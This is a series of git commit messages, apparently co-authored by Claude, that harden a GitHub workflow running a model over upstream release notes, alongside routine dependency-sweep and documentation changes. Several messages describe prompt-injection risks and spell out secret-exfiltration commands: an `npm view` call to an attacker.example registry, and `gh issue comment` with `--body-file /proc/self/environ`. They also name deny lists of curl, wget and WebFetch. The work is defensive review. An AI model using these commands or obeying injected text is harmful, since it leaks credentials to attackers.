Two unrelated things, both touching the same security notes.
## Round 6 findings
1. The credential scan ran too late to be a backstop. The analysis was
uploaded as an artifact and only scanned in the posting job — but this
repo is public, so an artifact holding a verbatim credential is
downloadable for its whole retention window. Refusing to POST text
that has already left the job refuses nothing. The scan now gates the
WRITE, in the same step that writes `analysis.md` (not two steps: a
failure between a passing scan and a separate write would leave the
file for the upload to collect), and the upload is gated on
`hashFiles('analysis.md')`. The posting job scans again, since the
artifact is the boundary and each side should check what it handles.
2. The permissions test failed open on the input it existed to catch.
GitHub accepts the shorthand `permissions: write-all`, and
`Object.entries("write-all")` iterates the string's CHARACTERS — so
the scan for a `write` value found nothing and the test passed green
while the model held every scope. It now rejects a non-mapping
outright and asserts the exact value.
3. (Suppressed.) The security prose in AGENTS.md still described the
same-job, environment-variable handoff that two rounds had already
replaced. Rewritten around the two boundaries the write-up actually
crosses now. Worth noting the pattern rather than just the instance:
this was the third round running in which I changed the mechanism and
left the prose describing the previous one, and stale security prose
is worse than none — the next person preserves properties the code no
longer has.
## Closing #2269
Filed during round 3 to replace the long-lived ANTHROPIC_API_KEY with
workload identity federation. Closed as not planned, because the threat
model behind it does not hold.
Every round escalated on "the model reads UNTRUSTED upstream release
notes" and I accepted that framing without checking it. Both upstreams
this sweep watches — modelcontextprotocol/typescript-sdk and
modelcontextprotocol/ext-apps — are in this repository's own org, with
release notes written by the same maintainer group. That is first-party
content, and anyone able to plant an injection in it already holds
release rights here.
Federation was reachable, so this is a judgement rather than a
capitulation: issuers and rules are creatable via
`client.beta.organization.federation.*`, and for GitHub Actions the
issuer is the standard token.actions.githubusercontent.com with JWKS
discovery. But those endpoints reject plain API keys and need an
`org:admin` OAuth token, making it org-admin work on the Anthropic
organization — disproportionate against our own changelogs.
The assessment is recorded rather than deleted. AGENTS.md and the
workflow comment now state the residual channel AND what makes it
acceptable, so pointing this at an upstream outside the org, or at
third-party content, is a documented trigger to re-open the question.
Mutation-checked, each failing a different set:
permissions: write-all on analyze -> no model runs in a job that can write
upload re-gated on structured_output -> the scan-ordering test
62 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings. The first ends a pattern rather than patching it again.
1. The tool grants did not enforce the boundary they claimed, for two
reasons. `--allowedTools` only PRE-APPROVES; `--tools` is what
restricts availability — a distinction this repo had already learned
and written down in `scripts/skill-eval.mjs`, and which I failed to
apply here. And a `Bash(...)` rule can match a COMPOUND command
(`gh release view … && curl …`), so the denials could be walked past.
That is the fourth grant in this review whose real surface was wider
than it looked, after `gh api`, `gh issue comment --body-file` and
`npm view --registry`. Each fix scoped the command and left something
else open, so this one removes the capability instead: THE MODEL NOW
HAS NO BASH AT ALL.
Upstream release notes are prefetched by a deterministic `run:` step
into `upstream-release-notes.md` (the 30 most recent releases via
`gh api`), and the prompt points the model at that file and tells it
to say so plainly if the range it needs is absent. Verified against
the real ext-apps releases API. The model's tools are now
`--tools "Read,Grep,Glob"` for availability, the same three in
`--allowedTools` so no headless run stalls on an unanswerable prompt,
and `--disallowedTools` naming Bash and the write/network tools as a
third layer — the same three-part shape `skill-eval.mjs` uses.
2. The security documentation asserted something false. `sweep` inherits
`issues: write` because filing issues is its purpose, so "the ONLY job
holding a token that can write" was never true. Both AGENTS.md and the
workflow comment now state the actual invariant: NO MODEL RUNS IN A
WRITE-CAPABLE JOB. Two of three jobs write; neither runs a model.
The test changed with it, and this is the substantive half: it was
asserting `analyze.permissions === {contents: read}`, which is one
job's slice and would have passed happily if someone added a model
step to `post`. It now iterates EVERY job and, for each that runs
`claude-code-action`, asserts no write scope and no posting step —
falling back to the inherited top-level permissions, so an omitted
`permissions:` block fails rather than defaulting silently.
3. (Suppressed.) The generated checklist told maintainers to edit
`package.json` unconditionally, which is wrong for the one case this
script models separately: `ext-apps` is `^1.7.4`, which already admits
a 1.8.0 target, so only the lockfile moves. `needsManifestEdit` now
selects the checklist items by asking whether each behind row's
declared range admits the target — exact pins need the edit, satisfied
ranges do not, and an unparseable declaration errs toward asking for a
look.
4. (Suppressed.) The `post` job comment carried the same false claim as
finding 2; corrected in the same change.
Mutation-checked, each failing a different set:
needsManifestEdit -> true -> its unit test + the ext-apps body test
--tools line deleted -> the tool-availability test
61 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings. Two are trust-boundary bugs on a public repo; two are the
same class of grant mistake I had already made twice.
1. (Suppressed finding.) `Bash(npm view:*)` was an outbound channel. npm
accepts `--registry=<arbitrary URL>`, and a Bash grant matches a
command PREFIX and constrains nothing after it, so
`npm view x --registry=https://attacker.example/<encoded secret>`
matched the grant. Nothing is published to the issue, so the verbatim
output scan cannot see it at all.
That is the third instance of one mistake in this review — scoping the
command and leaving the flags unbounded — after `Bash(gh api:*)` in
round 1 and `--body-file /proc/self/environ` in round 3. The grant is
removed (the prompt is handed both versions and takes release notes
from `gh release view`), `Bash(npm:*)` joins the deny list, and the
general rule is now in AGENTS.md rather than three war stories: a
prefix grant constrains the command, never its flags.
2. The model's job held `issues: write`. Permissions are scoped per JOB,
not per step, so my round-3 claim that the model only ever saw a
`contents: read` token was false while the posting step shared its
job. Split into three: `sweep`, `analyze` (`contents: read`, runs the
model), `post` (`issues: write`, runs no model).
The hand-off is an ARTIFACT rather than a job output, because matrix
job outputs collide — every leg writes the same key — which would post
one SDK group's write-up onto the other group's issue. A failed
analysis leg uploads nothing, which is not fatal: the download is
`continue-on-error` and the post is gated on the file existing, and
the issue then lands in exactly the un-analyzed state the round-2
retry path picks up.
3. Issue markers were trusted without provenance. This repo is public, so
anyone can open an issue whose body starts with the current target's
marker — and close it — to suppress the real upgrade issue
indefinitely, or use a malformed target to throw in `semver.lt` every
run. `sweepIssues` now requires BOTH the automation author (with the
`[bot]` suffix normalized, since gh and the REST API spell it
differently) and the `chore` + `dependencies` labels an outsider
cannot set. Marker targets are validated with `semver.valid`.
4. Comment markers had the same gap, and my round-3 fix had addressed the
wrong layer: it stopped splitting comments on newlines but still
reduced each to its body, discarding the only field that makes a
marker mean anything. `issueComments` now returns `{author, isBot,
body}`, and both consumers require the automation — so a forged
analysis marker no longer suppresses the retry and a forged
supersession marker no longer suppresses the note. Being a bot is not
enough; it has to be ours.
The test fake mattered more than the assertions here: comment fixtures
were plain strings, so every one was implicitly automation-authored
and no test could have expressed a forgery at all.
Two workflow invariants are now pinned by tests, since both are the kind
of thing a later edit undoes by accident: the `analyze` job's permissions
are exactly `contents: read` with no posting step, and the `--allowedTools`
whitelist mentions none of npm, curl, wget, WebFetch or WebSearch.
Mutation-checked, each failing a different set:
isSweepAuthored -> true -> 3 tests (unit + 2 e2e)
isAutomationComment -> true -> 3 tests (unit + 2 e2e)
semver.valid filter removed -> 1 test
Bash(npm view:*) restored -> 1 test
issues: write re-added to analyze -> 1 test
58 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings, including one suppressed. Three fixed outright; the
fourth is fixed as far as this PR can reach, with the remainder tracked
in #2269 rather than papered over.
1. (Suppressed finding, and the most consequential.) The comment lookup
was `gh api --jq '.[].body'` split on newlines, which destroyed the
comment boundaries — a body is multi-line, so every LINE became its
own entry. Both consumers read a line as though it were a whole
comment and both use `startsWith`, so a maintainer quoting
`<!-- sdk-watch:analysis -->` at the start of any line would have
permanently convinced the sweep that issue was analyzed, and the retry
added in round 2 would never fire for it again. The same held for the
supersession marker.
`issueComments` now fetches `--paginate --slurp` and parses JSON,
mapping whole `body` strings. The test fake was part of the problem —
it returned newline-joined text, which made the broken parse look
correct because it could never produce a multi-line body — so it now
returns the real wire shape, an array of pages of comment objects.
Note the round-2 test written for this class checked INLINE quoting
and passed. The unit was correct; the transport feeding it was not.
2. A CLOSED matching issue was being re-queued for analysis. Two
different questions about the same match had been collapsed into one:
whether it suppresses creation (yes, whatever its state — that is why
`sweepIssues` reads `--state all`) and whether it should be
re-analyzed (only if open). A closed issue has no analysis marker
almost by definition, so it was handed to the analyze job and would
have drawn a fresh automated comment nightly, re-arguing the "not
planned" decision that `--state all` exists to respect. Gated on
`match.state === "OPEN"`, with the closed case logged rather than
passed over in silence.
3. The docs contradicted the code in three places — AGENTS.md, the
workflow header and `formatFiledOutput` all still said analysis runs
only for newly created issues. All three now describe the same rule,
including both exclusions and why they differ: an already-analyzed
issue is excluded to avoid a nightly duplicate, a closed one because
closing it was a decision.
4. The model retains a secret-exfiltration path: `claude-code-action`
copies its environment into the model's, `Read` is genuinely needed to
inspect how `core/` uses the SDK, and `analysis` is model-controlled
text this workflow publishes. Removing the write-capable `gh` tools
closed the posting channel, not the output channel.
Landed here as a BACKSTOP, and labelled as one in the workflow so it
is not read as settled: the posting step refuses any analysis
containing ANTHROPIC_API_KEY or the job's GITHUB_TOKEN verbatim,
matched with shell pattern matching so no secret reaches an argv. An
injection that encodes the value defeats it.
The real fix is workload identity federation
(`anthropic_federation_rule_id` + `id-token: write`, and no
`anthropic_api_key` at all), which needs an Anthropic-side federation
rule and org UUID that do not exist and cannot be created from a pull
request. Filed as #2269 with the exact YAML change and acceptance
criteria, boarded at Todo/Medium in v2.6.0. AGENTS.md and the workflow
both point at it rather than describing this job as secure.
Mutation-checked, each failing exactly one test:
newline splitting restored -> the multi-line-comment test
`state === "OPEN"` guard removed -> the closed-issue test
49 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all real. The first is a security hole introduced by
round 1's own fix.
1. The analysis job could have published live secrets. Round 1 pinned
`Bash(gh issue comment <N>:*)` to the tracked issue and treated that
as scoping, but a `Bash(...)` grant matches a command PREFIX and says
nothing about the flags that follow — so
`gh issue comment <N> --body-file /proc/self/environ` matched it, and
this job's subprocess environment holds ANTHROPIC_API_KEY and
GITHUB_TOKEN. A prompt injection from upstream release notes could
have posted live credentials into a public issue.
The model now has no tool that can write anywhere. It returns its
write-up as `--json-schema` structured output, and a deterministic,
model-free step posts it: the body arrives through the environment
rather than the command line, so nothing in it can be read as a flag
or a path, and the issue number comes from the matrix. That step is
the only thing in the job holding a token that can write.
WebFetch is denied as well. It was not raised, but with `Read`
available an outbound fetch the model controls is the same
exfiltration channel by another route; `gh release view` already
covered the need. The remaining grant is read-only and accepts no
attacker-chosen file path.
The general rule is now in AGENTS.md rather than only this instance:
a prefix grant on any command that accepts a file path is an
arbitrary-file read with a publish attached.
2. Issue existence was standing in for analysis completion. A failed or
timed-out `analyze` job left an issue the next sweep matched, emitted
`[]` for, and reported as a green no-op — so the promised analysis was
never retried. The posting step now stamps ANALYSIS_MARKER on its
comment, and a sweep finding an existing issue without one re-queues
it. The marker is matched with `startsWith`, so a maintainer quoting
it cannot suppress the retry.
3. A failed supersession note was unrecoverable. Creation succeeding and
the note failing left a state where every retry matched the target's
own marker and skipped reconciliation entirely, so the note was never
posted. An existing issue is now ADOPTED rather than skipped: the loop
takes its number and runs the same follow-up it would for a new one.
The existing announced-marker check prevents duplication, and a
`stale.number === number` guard stops an issue superseding itself.
Findings 2 and 3 share one restructure — replacing the early `continue`
with adoption is what gives both the retry path.
ANALYSIS_MARKER is necessarily duplicated in the workflow, since the
posting step is shell. Drift would be invisible from either file alone
and would make every issue read as permanently unanalyzed, so a test
asserts the workflow contains the exact constant.
Mutation-checked, each failing a different minimal set:
if (match) continue; restored -> supersession-retry + re-queue tests
hasAnalysis -> always true -> re-queue + hasAnalysis tests
workflow marker misspelled -> the drift-guard test
47 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all real, all fixed.
1. The analysis job's tool grant was too broad. `Bash(gh api:*)` against a
token holding `issues: write` would have let an injected instruction
PATCH, close or relabel any issue in the repo — and this agent reads
untrusted upstream release notes by design, so the prose constraints
in the prompt are not a control. `gh api` is gone; the two
mutating-capable commands are pinned to the matrix issue by NUMBER, so
a call against any other issue does not match the prefix and is
denied. `--disallowedTools` now names the file-writing tools and
`git`/`gh pr`/`gh issue edit`/`gh issue close` explicitly, so a later
edit that widens the whitelist cannot silently restore them. The
prompt states the exact command shape the grant permits.
2. Targeting the highest `latest` in a lockstep group was wrong in both
directions. npm publishes a release one package at a time, so a sweep
landing mid-publish would have told maintainers to move all four
packages to a version three of them do not have — and written a
marker for that version, which would then suppress the real filing
once the publication completed, so the release would never be tracked
at all. The target is now the LOWEST `latest` across the group: the
newest version the whole group has actually reached. That stays
actionable during a partial publish (on 2.0.0 it files 2.1.0 rather
than going silent), waits correctly when only the in-flight half is
ahead, and produces a different marker when the publish completes so
the real release gets its own issue. The body explains itself when a
`Latest` in the table sits above the target.
3. A failure after an irreversible issue creation lost the issue. The
sweep exited before emitting `filed`, so the issue never reached the
analysis job — and the next night's retry would match its own marker,
emit `[]`, and leave it permanently unanalyzed with nothing left to
notice. Each group is now isolated, `filed` is appended the moment an
issue exists, and the emit happens in a `finally`. The run still fails
afterwards, loudly, but never at the cost of the record. The analyze
job's gate changed to match: it consumes `filed` whenever the sweep
named something, whether or not the sweep job itself went green.
Fixing 3 exposed a second instance of the bug CI caught earlier: the
test helper passed `output: undefined` to suppress the emit, but a
destructuring default fires on `undefined`, so it selected
`process.env.GITHUB_OUTPUT` instead of overriding it. Once the emit moved
into a `finally`, the throwing cases reached it and leaked a real
`filed=[]` into the runner's job-output file. The helper now passes
`null`, which suppresses a default and is falsy. Verified by running the
suite with `GITHUB_OUTPUT` set and confirming no file is created.
Test fixtures that bumped a single package's `latest` were modeling a
partial publication without meaning to, so `groupAt`/`latestAt` now make
"completed lockstep release" and "publication in flight" separate,
named cases. 42 tests in this file, 580 across `scripts/`, green with
the runner's environment set and unset.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Staying abreast of SDK releases — OAuth especially — was a habit rather
than a mechanism. This adds the third of this repo's issue-filing sweeps,
after the monthly dependency refresh (#2229) and the daily Dependabot
alert sweep (#2233), following the same shape as both:
npm registry -> sweep -> issue -> Opus analysis comment -> maintainer PR
scripts/sdk-watch.mjs compares the @modelcontextprotocol/* packages
installed on v2/main against the registry and files one tracking issue
per upstream that is behind — labeled v2 + chore + dependencies, and
milestoned to the nearest dated open bucket.
Four design points, each verified against this repo first:
* Two upstreams, two issues. client/core/server/server-legacy ship
from typescript-sdk in lockstep; ext-apps ships from its own repo.
* The comparison is against the INSTALLED version, not the declared
range. ext-apps is `^1.7.4` with 1.7.5 already in the lockfile, so
comparing the declared string would file an issue for a bump
`npm install` has already taken.
* A fifth @modelcontextprotocol/* package added to the root manifest
and not added to SDK_GROUPS fails the sweep loudly, rather than
going unwatched behind a green run.
* No board write and no issue closing. No PROJECT_TOKEN exists in
this org, so the issue arrives labeled and milestoned for
/issue-triage to board — as dependency-refresh.mjs already does. A
further release files its own issue and leaves a supersession
comment on the older one; closing stays a maintainer act.
The analysis half runs Claude, not Copilot. #1063 sketched "a copilot
agent running Opus", and neither half of that is reachable from a
workflow: assigning copilot-swe-agent produces a pull request — the
artifact #2229/#2233/#2235 removed from this repo — and its model cannot
be selected programmatically, since replaceActorsForAssignable takes no
model parameter. So the analyze job uses anthropics/claude-code-action
with --model claude-opus-5, told to post one comment and denied every
file-writing tool, running on the ANTHROPIC_API_KEY org secret. It runs
only over issues the sweep just created, which holds it to one analysis
per release rather than a near-identical comment every night.
Upstream release notes are untrusted input to that job, so its system
prompt says so and its --allowedTools list is a whitelist with no Edit,
Write or git; the job's token carries contents: read only.
36 tests cover the pure halves directly and main() through an injected
spawn, with the silent-failure cases first: a registry error must not
report a clean sweep, and an already-filed target must not refile.
Closes#1063
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
The `publish-github-container-registry` job's attestation step emitted two
warning annotations on every release — the only annotations on an otherwise
green release run:
Failed to create storage record: Error: Failed to persist storage record:
no artifacts found
Please check that the "artifact-metadata:write" permission has been included
The attestation itself was never affected: it signed, uploaded to Rekor, to
the repository and to the registry, and `gh attestation verify` passes against
the published 2.5.0 image. What was not landing is the separate artifact
metadata *storage record* — GitHub's org-level index of where a published
artifact lives.
Both of the issue's open questions are now answered:
1. `artifact-metadata` is a documented `permissions:` key (read/write/none),
so the workflow parses. Pushing this branch runs CI and validates that.
2. The `no artifacts found` text does NOT mean this job uploaded no *workflow*
artifact. It is the generic 404 body of the org artifact-metadata REST API
that `@actions/attest` POSTs to (`createStorageRecord`); the sibling read
endpoint returns the identical message for 2.5.0's real digest and for an
all-zeros digest that cannot exist. The documented precondition actually
unmet is this permission: the action emits a storage record when
`push-to-registry` is true AND the workflow carries `artifact-metadata:
write`, and the repo is org-owned as the API requires.
Confirmation that the record lands can only come from a release run, so the
step also carries a comment recording the evidence and the exact post-release
check — and what to do instead (`create-storage-record: false` plus a note) if
the warning survives. Either branch satisfies the issue's acceptance criterion
rather than leaving an unexplained warning in the release channel.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EgCNAyMgKX1Fm3uhrAyeP9
Signed-off-by: cliffhall <cliff@futurescale.com>
Both findings were "previously missed" suppressed ones; the two against
scripts/dependency-refresh.mjs and its workflow are relayed to #2239.
- Serialize the sweep with a fixed concurrency group and
cancel-in-progress: false. The marker check is a read-before-write and
a workflow_dispatch can land on top of the scheduled run, so two runs
could both see no open issue and both file one — the duplicate the
whole idempotency design exists to prevent. The queued run must wait
and re-read, never be cancelled.
- Pick the milestone in JS, not in jq. jq sorts null before every
string, so sort_by(.due_on) | .[0] returns an UNDATED open milestone
in preference to every dated one. An undated bucket has no due date
and so cannot be the nearest; pickMilestone drops it, and files the
issue unmilestoned if nothing dated is open.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
- `--slurp` the paginated alert feed; a bare `--paginate` emits one JSON
array per page and `JSON.parse` rejects it past 100 open alerts.
- Put `fixedIn` in the marker and in the existing-issue lookup, so a
second bump of one package cannot merge into the first one's issue.
- Only an authorization-shaped failure of the `automated-security-fixes`
read becomes UNVERIFIED; a rate limit or 5xx now throws.
- Distinguish "card never added" (benign, triage picks it up) from
"card added, field not set" — the latter finishes every group, then
fails the run.
- Don't board an unmilestoned issue at Todo; `Incoming` <=> no milestone.
- Comment before rewriting the marker, and give the comment its own
marker, so a failed comment cannot be skipped forever.
- Ask a direct dependency's range to be raised, not widened to `>=`.
- Test `main()` through an injected spawn, as the sibling sweep does.
- Correct the docs that named the removed release-time `npm audit fix`,
the ones promising an unconditional guard, and the sibling sweep's
issue body claiming security updates remain enabled.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Closes#2233 — the alert-consuming half of #2229. #2235 removed
`.github/dependabot.yml`, ending Dependabot's version-update PRs; this
ends its security-update PRs and replaces them with a daily sweep that
turns the alerts into ordinary board items.
- `scripts/dependabot-alerts.mjs` groups alerts by
`(package, manifest_path, first_patched_version)` — one issue per
BUMP, not per advisory — re-checks each vulnerable range against
`v2/main`'s own lockfile before filing, and keys idempotency on a
marker comment naming every GHSA the issue covers.
- `.github/workflows/dependabot-alerts.yml` runs it daily and on
`workflow_dispatch`, with `vulnerability-alerts: read`.
- `semver` is declared at the repo root, per Dependency placement:
`scripts/` is root-owned code with no manifest of its own.
- The sibling `dependency-refresh` comments no longer claim security
updates are unaffected, and AGENTS.md gains the flow both halves
now follow.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Closes#2235.
Switches the old dependency flow off now that #2232 landed the
replacement. Removes the five npm ecosystem entries (root plus each
client under clients/*) and, resolving the question #2229 left open, the
github-actions entry as well — so .github/dependabot.yml goes away
outright rather than being emptied, which its schema does not allow.
The github-actions entry had exactly the property #2229 exists to
remove: it opened a grouped monthly PR carrying no `Closes #N` and no
board card, the one standing exception to "every PR references an
issue". Deleting it unreplaced would have left 9 actions unwatched, and
`npm outdated` says nothing about actions, so the monthly sweep now also
checks every `uses:` ref under .github/workflows and renders the stale
ones as one more section of the same tracking issue.
Ranking comes from the release LIST, not `releases/latest`. That
endpoint returns the release GitHub designates most recent, not the
greatest version, so an action publishing a maintenance release for an
older major (a v6.9.1 cut after v8.0.0) would make a workflow pinned to
v7 compare against v6 and read as current — silently missing a whole
major upgrade, the one thing this check exists to catch.
Staleness is compared only to the precision the ref specifies. `v7` is a
moving major tag that GitHub repoints at every v7.x release, so `v7`
against a highest of `v7.0.1` is current and only `v8` makes it stale;
an exactly-pinned `v7.0.0` is behind `v7.0.1`; a SHA pin is deliberately
immovable and is never reported.
A release lookup suppresses only a 404 — the legitimate "this action has
never cut a release" answer — and throws on anything else. Treating a
rate limit or an expired token as "no release" is indistinguishable from
"not stale", and since every action here already sits on its latest
major, the resulting empty section is byte-identical to a healthy run.
`buildClearedBody` now speaks for both halves: once actions are in scope,
its npm-only wording would assert a clean bill of health the sweep never
checked.
Dependabot security updates are unaffected — they are configured in repo
settings, not in this file, and kept working while it was missing
entirely (#1833, #1840). That note moves into the workflow header rather
than dying with the file; #2233 is where they are turned off
deliberately. The script header, the workflow header and the generated
issue body all say version-update PRs rather than claiming Dependabot is
replaced wholesale.
Also renames the workflow's npm-outdated job to dependency-sweep now
that the sweep is no longer npm-only.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NGtzPg3UxMLszysQXXfqax
Signed-off-by: cliffhall <cliff@futurescale.com>
The npm-entry removal in `.github/dependabot.yml` is split out of this PR so
that every change to that one file lands in a single reviewable piece —
alongside the `github-actions` entry, which #2229 had declared out of scope but
which opens the same issue-less, board-cardless PR the decision exists to
remove.
Reverts `.github/dependabot.yml` to its `v2/main` state, leaving this PR with
the release-time `npm audit fix` and the monthly `npm outdated` sweep: the
replacement flow, not the switch-off.
Both new files' header comments claimed the switch-off had already happened,
which is false until #2235 lands. They now say #2235 does it, and that until
then Dependabot's npm PRs and this sweep overlap — duplicate signal rather than
conflicting action.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RWMJENjs1mExXE5XPJTEei
Signed-off-by: cliffhall <cliff@futurescale.com>
Adds npm audit fix (root + every client) as the first sub-step of the
release skill's bump step, before npm version, so a release is never
gated on remembering to check separately. Never --force; anything
audit fix can't resolve is left to the dependabot-alert pipeline
(#2229) or a follow-up issue.
Disables Dependabot npm version updates in dependabot.yml (a
version-update PR carries no issue and no board card) and replaces
them with a monthly scheduled sweep that runs npm outdated across the
root install and every client, filing or updating one idempotent
tracking issue instead of an auto-generated PR.
Closes#2231
Part of #2229
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017N9ha27Qg6LHpBQP7G7zPY
Signed-off-by: cliffhall <cliff@futurescale.com>
- skill-eval: `only` no longer narrows `ours`. A negative case means "no skill
of this repo fired", so filtering the repo's other model-invoked skills out of
that set let `skills:eval -- testing` score a `local-dev` invocation as
somebody else's skill and pass a negative case it should fail. Every
model-invoked skill is now inspected; `only` applies when enqueueing.
`collectCases` takes a skills directory so the focused-mode regression is
actually testable — verified by mutation: restoring the early filter fails it.
- The workflow's `validate` step comment said two coverage guards; it runs four.
Signed-off-by: cliffhall <cliff@futurescale.com>
- verify-skills: the best-effort `plugin validate` hand-off now also requires
the EXACT pinned CLI. `local:gate` runs `validate` before the pinned
`verify:skills:cli` step, so a newer local CLI could reject skills that CI's
pinned validator accepts — and the gate would exit there, never reaching the
reproducible check. One schema everywhere, or none.
- Dropped `PLUGIN_VALIDATE_MIN_VERSION`: with both validators on the exact pin
it was read only by its own test, and a constant nothing enforces is a claim
nothing enforces. Its test now pins what actually matters — that equality is
distinguishable from newer as well as older.
- The CI step's comment described the old floor behavior.
- issue-create: the duplicate check searched only open issues, so a completed or
rejected match was invisible to a procedure that says never to duplicate.
Searches all states and reports state/stateReason.
Signed-off-by: cliffhall <cliff@futurescale.com>
- verify:skills:cli — the authoritative validator is now a GUARANTEED step in
`local:gate` and CI, not a best-effort hand-off. It resolves the CLI itself
(an installed one at 2.1.233+, else a pinned `npx -y`), so both tiers run the
same script and cannot drift. `verify:skills` keeps skipping when the CLI is
absent, which is right for `validate`: fast, offline, no Claude Code required.
- skill-manifest: the 1,536-char listing-entry cap covers `description` +
`when_to_use` together; checking the description alone passed an over-cap
entry. `when_to_use` is now parsed, validated and counted, with boundary tests
at 1,536/1,537.
- verify-skills: report the budget as *this repo's contribution*. The real
listing budget is shared with bundled skills and the contributor's own
~/.claude/skills, none of which is visible from here, so the number was
claiming more than it measured.
- skill-eval: a negative case now means "no skill OF THIS REPO'S fired". It
failed on any Skill invocation, so a contributor with an unrelated global
skill got a false failure about their environment rather than these skills.
- docs/architecture + local-dev: the Node backend runner gets its
`@inspector/core` alias from `clients/web/tsup.runner.config.ts`, not from
Vite. The old text sent runner work to the wrong config.
- local-dev: the tarball does not ship "only each client's build/" — the
allowlist also carries `clients/web/dist`, `clients/web/static` and the
install helper. States the invariant that actually matters instead.
- issue-triage: the test for needing triage is "no board card". Adding "and no
milestone" would skip the approved-but-unboarded case the same section then
handles. Also corrected the `$M` note: the lookup is `--state all`, so closed
issues DO have entries — `isopen` is about the invariants, not the lookup.
- issue-create: replaced "all five" with a per-version table. Steps 3 and 6
(milestone, Priority) do not exist for v1, so the old list opened with a rule
the same skill later tells you to violate.
Signed-off-by: cliffhall <cliff@futurescale.com>
- CI now installs a pinned `claude` CLI and runs `claude plugin validate` as its
own step. The guard skips the authoritative validator when the CLI is absent,
which without this meant "always, in CI" — so the acceptance criterion was
aspirational. Verified it needs no authentication (clean HOME).
- skill-eval: classify a run from its terminal `result` event, not its exit
code. With `--max-turns 1` a run in which a skill FIRES necessarily hits the
limit and the CLI exits 1 (`error_max_turns`, `num_turns: 2`), so last round's
blanket nonzero rejection threw away exactly the observations the eval counts.
A run with no terminal `result`, or an unusable subtype, still rejects.
- skill-eval: fail collection on a skill that does not parse, a model-invoked
skill with no eval file, unreadable JSON, or invalid cases. Skipping them let
`skills:eval` exit 0 while silently omitting the skill just broken.
- verify-skills: `main()` takes an optional skills directory, and
`verify-skills.main.test.mjs` drives it over fixtures — missing SKILL.md,
malformed frontmatter, undeclared invocation mode, missing/invalid evals,
budget overflow (and that name-only skills do not count toward it), and
multi-offender reporting. Matches the sibling guards' *.main.test.mjs
precedent; without it the gate could stop enforcing while the parser tests
stayed green.
- issue-create: the note claimed an issue arrives unlabeled, contradicting
.github/ISSUE_TEMPLATE — blank issues are disabled, the bug form applies
`bug`, the feature form applies `enhancement` + `v2`. Now a table of what each
form sets and what triage still has to add.
Signed-off-by: cliffhall <cliff@futurescale.com>
Closes#2163
`AGENTS.md` was one 1,223-line contract loaded in full on every turn, whether
the task was a one-line CSS fix or a release cut. This splits it: rules stay
resident, procedures move to `.claude/skills/`.
- Ten skills under `.claude/skills/`, seven `disable-model-invocation: true`
(invoked by name only, so they cost no listing context and have no trigger
question) and three model-invoked with committed eval cases.
- `AGENTS.md` 1,223 → 380 lines: rules, a skills index, and a project tree
reduced to one line per entry. The removed recipes are not duplicated.
- `README.md` 811 → 105 lines, split into `docs/{architecture,quality-gate,
test-servers,publishing,docker}.md`, and dropped from `CLAUDE.md`'s auto-load.
- `.github/copilot-instructions.md` and its mirroring rule removed — Copilot
reads `AGENTS.md`.
- `npm run verify:skills` (in `validate`, so in `local:gate` and CI) parses each
SKILL.md the way Claude Code does, requires an explicit invocation mode and
eval cases for model-invoked skills, and budgets the listing.
- `npm run skills:eval` runs the committed trigger cases headless.
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, eleventh review:
- `Set-Item Env:SMOKE_BROWSER firefox` — PowerShell's Env: DRIVE, the other
standard way to write the environment there — matched none of the patterns.
Covered now, positional or via -Path/-Value, for Set-Item/New-Item and their
-ItemProperty forms. A `Get-Item` READ is still not a finding, which has its
own negative case: reading the variable is not setting it, the same
distinction as round 5's `echo "SMOKE_BROWSER: firefox"`.
- Two scope summaries had drifted behind the traversal, both saying the guard
reads only `run` and `env`/`with`: the module header's "ONLY EXECUTABLE
POSITIONS" paragraph, and the copilot-instructions mirror. Both list the real
set now — `run`, the `shell` command template at all three levels, and
`env`/`container.env`/`with`. The mirror one is the AGENTS.md rule this repo
states about itself, so it is a rule violation rather than a typo.
Signed-off-by: Cliff Hall <cliff@futurescale.com>
